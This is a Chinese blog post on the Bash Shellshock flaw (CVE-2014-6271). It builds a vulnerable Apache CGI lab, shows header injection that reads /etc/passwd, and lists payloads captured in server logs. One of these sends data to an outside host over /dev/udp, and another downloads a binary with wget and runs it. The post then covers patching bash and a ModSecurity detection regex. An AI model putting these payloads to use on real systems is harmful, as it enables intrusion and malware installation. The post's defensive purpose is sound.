Quantcast
Channel: 碳基体
Viewing all articles
Browse latest Browse all 75

BASH CVE-2014-6271 shellshock 修复及防御

$
0
0
bash shellshock (远程代码执行)漏洞一出,订阅的安全博客就被铺天盖地的漏洞分析,漏洞检测(从日志情况来看,网上的各种检测方法,特别是批量检测方法都被用于直接的攻击了),漏洞修复信息覆盖了,堪比娱乐圈的菲峰复合,各大乙方安全公司,甲方公司安全部门,活跃的安全明星都写了相关内容,我也厚着脸皮来个“娱记”上身,从web防御层面来讲讲bash口水故事。

一、web漏洞环境搭建
首先搭建一个web漏洞测试环境apache2+cgi模式+cgi漏洞脚本

1、设置apache2+cgi模式
测试环境:
OS:Ubuntu
WebServer:  Apache/2.2.22 (Ubuntu)
开启cgi模式

vim /etc/apache2/sites-available/default

指定cgi目录

        ScriptAlias /cgi-bin/ /var/www/cgi-bin/

        <Directory "/var/www/cgi-bin">
                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all
        </Directory>

vim /etc/apache2/mods-available/mime.conf

cgi脚本解析功能,添加支持后缀

AddHandler cgi-script .cgi .pl

重启server

service apache2 restart


2、编写漏洞cgi文件
编写cgi文件进行测试

vim /var/www/cgi-bin/poc.cgi

编写

#!/bin/bash
echo "Content-type: text/html"
echo ""

chmod +x poc.cgi


3、漏洞注入测试
测试,我们在User-Agent注入  () { :; }; /bin/cat /etc/passwd > /tmp/dumped_file 

http 127.0.0.1/cgi-bin/poc.cgi User-Agent:'() { :;}; echo X-Bash-Test: `echo bash shellshock`'

 
远程命令执行成功,可以看到响应体中的回显
BASH CVE-2014-6271 shellshock 修复及防御 - 碳基体 - 碳基体
 

接下来我们尝试在Accept,Accept-Encoding,Accept-Language,Cookie,Host,Cache-Control进行植入,同样成功
(不要在Host,Connection中植入)


二、捕捉的常见payload
此漏洞一出,立刻各种攻击(检测?)到处乱飞了,在日志中有以下常见的payload

() { :; }; echo X-Bash-Test: `echo tcy6n3f0uU`;

() { :; }; ping -c 3 xxx.xxx.xxx.xxx

() { :; }; echo x-bash-header: hello haha

() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444

() { :; }; /bin/bash -c 'if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget xx.xxx.xx.xxx:5487/v64 -O /tmp/.osock; else /usr/bin/wget xx.xxx.xx.xxx:5487/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &'



三、漏洞分析参考文章
这个洞太热了,有很多分析文章了,挑选一些不错的 
http://lcx.cc/?i=4434 寻找cve-2014-6271的实例的一点思路
http://drops.wooyun.org/papers/3064 CVE-2014-6271资料汇总 BASH CVE-2014-6271 shellshock 修复及防御 - 碳基体 - 碳基体


四、升级bash进行修复
debain/ubuntu

apt-get update

apt-get -y install --only-upgrade bash


五、使用ModSecurity防御
ModSecurity安装及基本使用见

[科普文]ubuntu上安装Apache2+ModSecurity及自定义WAF规则


捕捉关键字
\(\)\s{\s+[^;}]+;\s*}\s*;

参考:
http://zone.wooyun.org/content/15392 
https://www.invisiblethreat.ca/2014/09/cve-2014-6271/
http://blog.threatstack.com/labs/2014/9/25/cve-2014-6271-and-you-a-tale-of-nagios-and-the-bash-exploit
http://lcx.cc/?i=4434 寻找cve-2014-6271的实例的一点思路
http://drops.wooyun.org/papers/3064 CVE-2014-6271资料汇总 BASH CVE-2014-6271 shellshock 修复及防御 - 碳基体 - 碳基体

Viewing all articles
Browse latest Browse all 75

Trending Articles